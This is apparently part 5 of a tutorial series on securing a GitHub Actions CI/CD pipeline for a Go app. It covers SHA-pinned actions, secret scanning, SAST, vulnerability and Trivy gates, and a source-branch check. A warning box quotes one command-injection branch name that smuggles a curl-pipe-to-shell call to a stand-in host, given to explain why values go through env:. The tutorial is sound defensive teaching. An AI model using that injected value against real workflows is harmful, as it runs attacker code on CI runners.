//PART 5 OF 10
Part 5: The GitHub Repo and the PR Workflow as a Security Gate
· 20 min read
Indonesia//TUTORIAL · 5 OF 10 — A Secure CI/CD Pipeline with Go, GitHub Actions, Vault, and Dokploy
- 01Part 1: Why I Built a Secure CI/CD Pipeline, and Getting the Tools Ready
- 02Part 2: Vault Secrets, Policies, and an AppRole per Environment
- 03Part 3: A Small Go App That Reads Its Secrets from a File and Refuses to Start on Bad Config
- 04Part 4: A Vault Agent Sidecar and Docker Compose, Secrets Without the App Knowing Vault Exists
- 05Part 5: The GitHub Repo and the PR Workflow as a Security Gate
- 06Part 6: Rulesets That Block Merges, and Five Demo PRs That Must Fail
- 07Part 7: Setting Up the Dev and Production Environments in Dokploy
- 08Part 8: The Deploy Workflow, Build Once, Scan, SBOM, GHCR, Then Promote to Production
- 09Part 9: An Exception Process for Security Findings You Can't Fix Yet
- 10Part 10: CI Gets Its Dokploy Token from Vault through GitHub OIDC, and Wrapping Up the Series
Up to Part 4, everything lived on the laptop: Vault is ready, the Go app is done, and the Vault Agent sidecar runs in Compose. Nothing is on GitHub yet.
In this part the code goes up to GitHub and we put a security gate on every pull request. By the end, every PR into development or main runs seven checks automatically, and PRs into main also get their source branch checked.
One important thing up front: this part doesn't block merges yet. The goal is to get the checks running and green. Blocking through a ruleset comes in Part 6, because GitHub only lets you pick a status check as required after the workflow has run at least once.
PR into development / main ──► pr-checks.yml ├─ test gofmt, go vet, go test -race ├─ gitleaks any leaked secret? ├─ semgrep dangerous code (SAST) ├─ govulncheck vulns the code actually calls ├─ dependency-review vulnerable new dependencies ├─ trivy-config misconfigured Dockerfile └─ trivy-image CRITICAL CVEs that have a fixPR into main ────────────────► source-branch.yml (must come from development)Before going public: scan the whole history
This repo will be public. Once a secret is pushed to a public repo, treat it as leaked. Bots scan GitHub within minutes, and deleting the commit doesn't pull back copies someone already grabbed. So scan before pushing, not after.
git statusgit log --oneline --graph --allgitleaks git . --redact --no-bannergitleaks git . scans the whole git history, not just the files as they are now. A secret committed once and deleted in a later commit is still in history and still gets pushed. --redact masks the value in the output if it finds one.
Check: the last line should say no leaks found.
Note
Why `testdata/` and `vault/policies/` stay committed
testdata/config.json holds deliberately labelled dummy values (dev-only-not-a-secret-...) that the tests read. Ignore it and the CI test job fails because the file isn't there. What goes in .gitignore is .env, config.local.json, and build output. testdata only goes in .dockerignore, so it stays out of the image. Vault policies aren't secrets either: they're access rules, not keys. Keeping them in the repo is a good thing, because permission changes then go through PR review.
Create the repo and branches
I deliberately don't push the app code straight into development. I want everything to arrive through a PR, the way a team works. So main and development start with only the initial commit.
gh repo create dimss113/secure-cicd-go --public \ --description "Secure CI/CD demo: Go API, GitHub Actions security gates, Vault Agent sidecar, Dokploy"git remote add origin git@github.com:dimss113/secure-cicd-go.gitgit push -u origin maingit branch development maingit push -u origin developmentgh repo edit dimss113/secure-cicd-go --default-branch developmentgit branch development main creates development from main without switching to it. --default-branch development makes new PRs target it by default.
Turn on the repo security settings
Before any workflow exists, a few repo settings act as the first layer:
REPO=dimss113/secure-cicd-go gh api -X PUT repos/$REPO/vulnerability-alerts gh api -X PATCH repos/$REPO \ -f "security_and_analysis[secret_scanning][status]=enabled" \ -f "security_and_analysis[secret_scanning_push_protection][status]=enabled" gh api -X PUT repos/$REPO/actions/permissions/workflow \ -f default_workflow_permissions=read \ -F can_approve_pull_request_reviews=falseSetting | What it does |
|---|---|
| Dependabot alerts for the dependencies in |
| Rejects a |
|
|
| Workflows can't approve PRs. A compromised workflow can't wave its own PR through |
-f sends the value as a string, -F infers the type, so false goes out as a boolean.
Check:
gh api repos/$REPO --jq .security_and_analysisgh api repos/$REPO/actions/permissions/workflow# {"default_workflow_permissions":"read","can_approve_pull_request_reviews":false}Also make sure Dependency graph is on under Settings → Advanced Security. The dependency-review job needs it. Public repos usually have it on already.
Then the app code arrives through PR #1:
git switch feature/vault-agentgit push -u origin feature/vault-agentgh pr create --base development --head feature/vault-agent \ --title "feat: go api with vault agent sidecar"gh pr merge --merge --delete-branchPR #1 runs no checks at all, because the workflow doesn't exist yet. That's on purpose: PR #2 adds the workflow, and the workflow immediately checks its own PR.
Shift left: the scanners find a real problem on the laptop
Before writing the workflow, I ran the scanners CI will use. Finding things on the laptop is much faster than waiting for CI to go red.
git switch -c feature/pr-checksgo run golang.org/x/vuln/cmd/govulncheck@v1.9.0 ./...And there was a finding right away:
Vulnerability #1: GO-2026-6809 Distrust compromised intermediate certificates in crypto/x509 Found in: crypto/x509@go1.27.1 Fixed in: crypto/x509@go1.27.3 Example traces found: #1: internal/cryptobox/cryptobox.go:40:24: cryptobox.Box.Encrypt calls rand.Read, which eventually calls x509.Certificate.VerifyVulnerability #2: GO-2026-6617 HTTP/2 server crash due to HPACK encoder race in net/http Found in: net/http/internal/http2@go1.27.1 Fixed in: net/http/internal/http2@go1.27.2exit status 3The problem is in the Go 1.27.1 standard library, not in my code. The Example traces are what make govulncheck worth having: they prove our code actually calls the vulnerable function, instead of just matching a version number. exit status 3 means this job will fail in CI.
The fix is to move to Go 1.27.3. Something that nearly fooled me: it has to change in two places.
go mod edit -toolchain=go1.27.3FROM golang:1.27.3-alpine@sha256:d200d2dd76b03a99b52651fd1325aff7dcd35422c35c01bac56571b0507f3deb AS buildWarning
A false green if you only bump `go.mod`
actions/setup-go reads go.mod in CI, so govulncheck goes green. But the official golang image sets GOTOOLCHAIN=local, so the Go 1.27.1 inside it won't upgrade itself even when go.mod asks for 1.27.3. Result: CI is green while the binary running on the server is still built with the vulnerable version. go.mod and the Dockerfile must always agree.
The sha256:… digest comes from the registry, not from thin air: docker buildx imagetools inspect golang:1.27.3-alpine, take the top Digest: line. That's the multi-arch index digest, so a build on a Mac still picks arm64 and the GitHub runner picks amd64.
Check:
go run golang.org/x/vuln/cmd/govulncheck@v1.9.0 ./... # No vulnerabilities found.go test -race ./...docker build -t scg-check . && trivy image --severity HIGH,CRITICAL scg-checkgit commit -am "fix: build with go 1.27.3 to pick up stdlib security fixes"Interestingly, Trivy also saw the same issue in the old image: 4 HIGH findings in stdlib. But the Trivy image gate won't block on that, because its rule is CRITICAL only. Why that is comes further down.
The pr-checks.yml workflow
All the jobs live in one file, .github/workflows/pr-checks.yml. I'll show it piece by piece so each explanation sits next to its code.
The top of the file
name: pr-checks on: pull_request: branches: [development, main] permissions: contents: read concurrency: group: pr-checks-${{ github.event.pull_request.number }} cancel-in-progress: trueon: pull_requestruns when a PR intodevelopmentormainis opened or pushed to. It's deliberately notpull_request_target: for a PR from a fork,pull_requestruns with a read-only token and no repo secrets.pull_request_targetruns with the target repo's full rights, and if it also checks out the PR's code, a stranger gets to run their code next to your secrets.permissions: contents: readis the default for every job: read the code, nothing else.concurrencycancels the old run when you push a new commit to the same PR. It saves runner minutes, and the result is always for the latest commit.
A few habits repeat in every job:
Habit | Why |
|---|---|
Job ID ( | It's also the status check name. The Part 6 ruleset picks these names, so don't keep renaming them |
| Pinned, not |
| A stuck job gets killed quickly. GitHub's default is 360 minutes |
| Checkout doesn't leave the token on the runner's disk |
| Actions pinned to a full commit SHA |
Pinning actions to a commit SHA
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1A tag like v7 or v0.36.0 can be moved to different code by the repo owner, or by an attacker who took over their account. A workflow using the tag runs that code straight away, and that code can read your repo and your token. The real case is tj-actions/changed-files in March 2025: every tag was pointed at code that dumped CI secrets into the logs. A commit SHA can't be moved. The # v7.0.1 comment is only a reminder for humans.
Finding the SHA yourself when upgrading:
gh api repos/actions/checkout/commits/v7.0.1 --jq .shaIf Settings → Actions → General has the option "Require actions to be pinned to a full-length commit SHA", tick it. GitHub will then reject any uses: that still points at a tag.
persist-credentials: false
To clone, actions/checkout uses GITHUB_TOKEN. By default it keeps that token on the runner so later git commands are authenticated. The problem is that go test runs the PR's code. A malicious test can read that credential file and send it somewhere. A third-party action in the same job can read it too. This workflow never runs git push, so there's no reason to keep the token at all.
It stacks with contents: read and with the token expiring when the job ends. If one layer fails, the others still hold.
The test job
test: runs-on: ubuntu-24.04 timeout-minutes: 10 steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: persist-credentials: false - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 with: go-version-file: go.mod - name: gofmt run: | unformatted="$(gofmt -l .)" if [ -n "$unformatted" ]; then echo "::error::These files are not gofmt-ed:" echo "$unformatted" exit 1 fi - name: go vet run: go vet ./... - name: go test run: go test -race ./...The runner is an empty VM, so it needs two uses:: one fetches the code, one installs Go. go-version-file: go.mod reads the toolchain go1.27.3 line, so the version is deterministic. gofmt -l only lists files that aren't formatted, it doesn't change them. ::error:: shows up as a red annotation in the run summary. -race catches data races in the tests.
The gitleaks job
gitleaks: runs-on: ubuntu-24.04 timeout-minutes: 10 permissions: contents: read security-events: write steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: fetch-depth: 0 persist-credentials: false - name: Install gitleaks env: GITLEAKS_VERSION: 8.30.1 GITLEAKS_SHA256: 551f6fc83ea457d62a0d98237cbad105af8d557003051f41f3e7ca7b3f2470eb run: | curl -sSfL -o gitleaks.tar.gz \ "https://github.com/gitleaks/gitleaks/releases/download/v${GITLEAKS_VERSION}/gitleaks_${GITLEAKS_VERSION}_linux_x64.tar.gz" echo "${GITLEAKS_SHA256} gitleaks.tar.gz" | sha256sum --check - tar -xzf gitleaks.tar.gz gitleaks rm gitleaks.tar.gz - name: Scan PR commits env: BASE_SHA: ${{ github.event.pull_request.base.sha }} HEAD_SHA: ${{ github.event.pull_request.head.sha }} run: | ./gitleaks git . --no-banner --redact \ --log-opts="${BASE_SHA}..${HEAD_SHA}" \ --report-format sarif --report-path gitleaks.sarif - name: Upload SARIF if: ${{ !cancelled() }} uses: github/codeql-action/upload-sarif@9b3254085494b55a0f7c4c2b3d2d52cc712ce370 # v4.39.1 with: sarif_file: gitleaks.sarif category: gitleaksFails when: any secret appears in this PR's commits. There's no severity threshold. A secret is a secret.
Things worth noticing:
I don't use
gitleaks/gitleaks-action, because it's under an EULA, not an open source license. Instead the official binary is downloaded and checked against a pinned SHA-256. Same idea as pinning a SHA: if someone swaps the release file, the hash changes and the job stops.fetch-depth: 0fetches the full history. Checkout defaults to one commit, and a secret added in a middle commit and removed in the last one still has to be caught. Without it, gitleaks fails withInvalid revision range.--log-opts="BASE..HEAD"limits the scan to this PR's commits.--redactmatters because Actions logs on a public repo are readable by anyone.
Warning
A job's `permissions:` block replaces, it doesn't add
As soon as a job declares its own permissions:, the top-level contents: read is gone for that job. That's why contents: read is written again next to security-events: write. Only jobs that upload SARIF get security-events: write.
SARIF and the Security tab
SARIF is a standard JSON format for scan results. Gitleaks, Semgrep, and Trivy each have their own output, but all of them can write SARIF, and GitHub only has to understand that one format. Once uploaded through github/codeql-action/upload-sarif, findings show up under Security → Code scanning, and new ones appear as annotations on the code lines in the PR's Files changed tab. The history is kept too: when a finding appeared, when it was fixed, when it was dismissed. We'll use that in Part 9.
Two small details that matter:
categorymust be different for each tool. If two share one, they overwrite each other.if: ${{ !cancelled() }}. Every step has an implicitif: success(), so once the scan finds a secret (exit 1), the upload is skipped and the report is lost. That's exactly when you need it most.!cancelled()means "run as long as the run wasn't cancelled", whether earlier steps passed or failed. The job is still red, so the gate still works. I don't usealways(), because that runs even whenconcurrencycancels the run. The${{ }}wrapper is there because a leading!has a special meaning in YAML.
Note
SARIF is a report, not a gate. What decides red or green is still the scan step's exit code.
The semgrep job
semgrep: runs-on: ubuntu-24.04 timeout-minutes: 10 permissions: contents: read security-events: write container: image: semgrep/semgrep:1.182.0@sha256:4a34048c04fef049f71665047f074cffb00cc3d89482f965a5cd151d589237af steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: persist-credentials: false - name: Semgrep scan run: | semgrep scan --config p/golang --config p/default --config p/secrets \ --severity ERROR --error --metrics=off \ --sarif-output=semgrep.sarif # Upload SARIF: same as gitleaks, category: semgrepFails when: there's an ERROR-severity finding. WARNING and INFO are ignored so the gate doesn't get noisy.
The job runs inside the official Semgrep CE container, pinned by tag and digest. The flag people forget most is --error: without it, Semgrep always exits successfully even with findings. --metrics=off stops it sending usage data.
Note
`p/default` only got added in Part 6
My first version used only p/golang and p/secrets. When I built a demo PR in Part 6 that deliberately contained exec.Command("sh", "-c", input), p/golang didn't catch it. The dangerous-exec-command rule lives in p/default. I'm showing the fixed version here, and the full story is in Part 6.
The govulncheck job
govulncheck: runs-on: ubuntu-24.04 timeout-minutes: 10 steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: persist-credentials: false - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 with: go-version-file: go.mod - name: govulncheck run: go run golang.org/x/vuln/cmd/govulncheck@v1.9.0 ./...Fails when: there's a reachable vuln, one the code actually calls (exit 3). It's the same command I ran on the laptop, with no third-party action. Because govulncheck checks the standard library of whatever Go is installed, the Go version has to be pinned through go.mod.
The dependency-review job
dependency-review: runs-on: ubuntu-24.04 timeout-minutes: 10 steps: - uses: actions/dependency-review-action@a1d282b36b6f3519aa1f3fc636f609c47dddb294 # v5.0.0 with: fail-on-severity: highFails when: the PR adds or upgrades a dependency with a High or Critical vuln. The action compares the dependency graph before and after the PR, so it doesn't need a checkout.
dependency-review | govulncheck | |
|---|---|---|
Looks at | Only dependency changes in the PR | All the code |
Decides on | Version numbers | Whether the vulnerable function is actually called |
They complement each other: dependency-review stops a vulnerable dependency on the way in, govulncheck catches a new vuln in a dependency that's been there for ages.
The trivy-config and trivy-image jobs
The two Trivy jobs check different things:
trivy-config | trivy-image | |
|---|---|---|
Scans | The recipe: | The result: the built image |
Looks for | Misconfigurations, like running as root | CVEs in OS packages, Go stdlib, libraries |
Who can fix it | Always us | Sometimes we wait for a vendor |
Fails when | HIGH or CRITICAL | CRITICAL that already has a fix |
The different thresholds are deliberate. A misconfiguration is always ours to fix on the spot, so even HIGH blocks. A CVE with no fix can't be solved by upgrading. If it blocked, every PR could be stuck for days over something outside our control. HIGH gets recorded in the Security tab, and that's enough. Trivy also doesn't scan Compose files, so only the two Dockerfiles are read.
trivy-image: runs-on: ubuntu-24.04 timeout-minutes: 15 permissions: contents: read security-events: write steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: persist-credentials: false - name: Build image (not pushed) run: docker build -t secure-cicd-go:pr . - name: Trivy image (SARIF report) uses: aquasecurity/trivy-action@ed142fd0673e97e23eac54620cfb913e5ce36c25 # v0.36.0 with: version: v0.76.1 scan-type: image image-ref: secure-cicd-go:pr severity: HIGH,CRITICAL limit-severities-for-sarif: true format: sarif output: trivy-image.sarif exit-code: 0 - name: Upload SARIF if: ${{ !cancelled() }} uses: github/codeql-action/upload-sarif@9b3254085494b55a0f7c4c2b3d2d52cc712ce370 # v4.39.1 with: sarif_file: trivy-image.sarif category: trivy-image - name: Trivy image (gate) uses: aquasecurity/trivy-action@ed142fd0673e97e23eac54620cfb913e5ce36c25 # v0.36.0 with: version: v0.76.1 skip-setup-trivy: true scan-type: image image-ref: secure-cicd-go:pr severity: CRITICAL ignore-unfixed: true format: table exit-code: 1trivy-config has exactly the same shape, minus the build step, with scan-type: config, scan-ref: ., category: trivy-config, and a gate of severity: HIGH,CRITICAL without ignore-unfixed. I won't repeat it here.
The report → upload → gate pattern is the core idea. The report step uses exit-code: 0, so it never fails and always records every HIGH and CRITICAL. The gate step uses exit-code: 1 with a narrower rule, and prints a table that's easy to read in the log. If the gate came first and failed, the report would never run and the Security tab would be empty exactly when there's something to see.
A few other inputs: version: v0.76.1 installs the same Trivy as on the laptop (without it, the action installs its own older default). skip-setup-trivy: true on the second step because Trivy is already installed. The image is not pushed anywhere. Pushing happens in Part 8, after it passes.
Real examples from testing in this repo:
Remove the
USER 65532:65532line from the Dockerfile → trivy-config goes red withDS-0002 (HIGH): Specify at least 1 USER command. That becomes one of the demo PRs in Part 6.The image built with Go 1.27.1 → the report records 4 HIGH in
stdlib, but the gate stays green because there's no CRITICAL. I fixed it anyway because the report made it visible, it just didn't block.
Warning
A typo under `with:` doesn't turn the job red
My first version had limit-se-for-sarif in the trivy-config job. GitHub only shows a yellow Unexpected input(s) warning, the job stays green, and the input is silently ignored. actionlint doesn't catch it either, because for a SHA-pinned action it doesn't know the input list. I only noticed in Part 6. The same can happen with persists-credentials (one extra s): the hardening is off and nothing goes red. So read the yellow annotations in the run summary, don't just look at the green ticks.
Note
The `exceptions` job and `trivyignores`
If you open pr-checks.yml in the finished repo, there's one more job called exceptions and a trivyignores: .trivyignore input on the Trivy steps. Both belong to the exception process in Part 9, together with the .trivyignore and .gitleaksignore files. At this stage those files don't exist yet.
The source-branch.yml workflow
The flow I want: the only way into main is through development. This small workflow enforces it.
name: source-branch on: pull_request: branches: [main] permissions: {} jobs: source-branch: runs-on: ubuntu-24.04 timeout-minutes: 2 steps: - name: Only development may open a PR into main env: HEAD_REF: ${{ github.head_ref }} run: | if [ "$HEAD_REF" != "development" ]; then echo "::error::PR into main must come from development, not '$HEAD_REF'" exit 1 fi echo "Source branch is development: OK"permissions: {} means a token with no rights at all. The job doesn't need to read the code, so there's no checkout. github.head_ref is the PR's source branch name.
Danger
Never put user-controlled `${{ }}` straight into `run:`
${{ ... }} is pasted into the script as text before bash runs it. The branch name is chosen by whoever opens the PR, and on a public repo anyone can open one from a fork. A branch could be named a";curl${IFS}evil.sh|sh;". Write if [ "${{ github.head_ref }}" != ... ] and that command runs on the runner. Through env:, the value arrives as a variable, and bash treats "$HEAD_REF" as data. It's also why BASE_SHA and HEAD_SHA in the gitleaks job go through env:.
Lint, push, and PR #2
Before pushing, check the workflows with actionlint. It catches mistyped keys, broken ${{ }} expressions, and runs shellcheck on the run: blocks if shellcheck is installed. No output means clean.
go run github.com/rhysd/actionlint/cmd/actionlint@v1.7.12git add .github/workflows/pr-checks.yml .github/workflows/source-branch.ymlgit commit -m "ci: add pull request security gates"git push -u origin feature/pr-checksgh pr create --base development --title "ci: add pull request security gates"gh pr checks --watchFiles are named one by one in git add, not git add ., so nothing slips in by accident. gh pr checks --watch keeps refreshing until everything finishes.
Check:
✓ pr-checks/dependency-review✓ pr-checks/gitleaks✓ pr-checks/govulncheck✓ pr-checks/semgrep✓ pr-checks/test✓ pr-checks/trivy-config✓ pr-checks/trivy-imagesource-branch doesn't appear, and that's correct: this PR targets development, not main.
Check the Security tab too:
gh api repos/dimss113/secure-cicd-go/code-scanning/analyses \ --jq '.[] | .category + " results=" + (.results_count|tostring)'You should see four categories, gitleaks, semgrep, trivy-config, trivy-image, each with results=0. If something is red, gh run view --log-failed shows only the logs of the failed steps.
Once everything is green, merge:
gh pr merge --merge --delete-branchgit switch development && git pullWarning
This merge is still possible even with red checks. There's no ruleset yet. So for now, make sure yourself that everything is green before merging.
When something goes wrong
Symptom | Cause | Fix |
|---|---|---|
| Push protection found a secret pattern | The first layer works. Remove the secret from the commit, don't pick "allow" |
SARIF upload: | The job lacks | Check that job's |
SARIF upload: | The repo is still private | Code scanning is free only for public repos |
| Dependency graph is off | Turn it on under Settings → Advanced Security |
Gitleaks | Incomplete history |
|
| The download differs from the pinned hash | Don't just swap the hash. Check |
govulncheck fails in CI but passes locally | Different Go versions | Make sure the |
Recap
A public repo
dimss113/secure-cicd-gowithdevelopmentas the default branch, its history scanned by Gitleaks before going public.Dependabot alerts, secret scanning, and push protection on. The Actions token is read-only by default and workflows can't approve PRs.
Go bumped to 1.27.3 in
go.modand theDockerfile, after govulncheck found two reachable stdlib vulns.pr-checks.ymlwith seven jobs: test, gitleaks, semgrep, govulncheck, dependency-review, trivy-config, trivy-image, each with a clear fail threshold.Gitleaks, Semgrep, and Trivy results land in the Security tab through SARIF.
Every action pinned to a commit SHA, minimal
permissions:per job,persist-credentials: false, user input passed throughenv:.source-branch.yml, which rejects a PR intomainunless it comes fromdevelopment.
All the checks run now, but they can still be ignored. In Part 6 we add rulesets so a red check really blocks the merge, then prove it with demo PRs that deliberately contain a secret, dangerous code, a vulnerable dependency, and a root container. That's also where the two gate weaknesses I mentioned above came to light.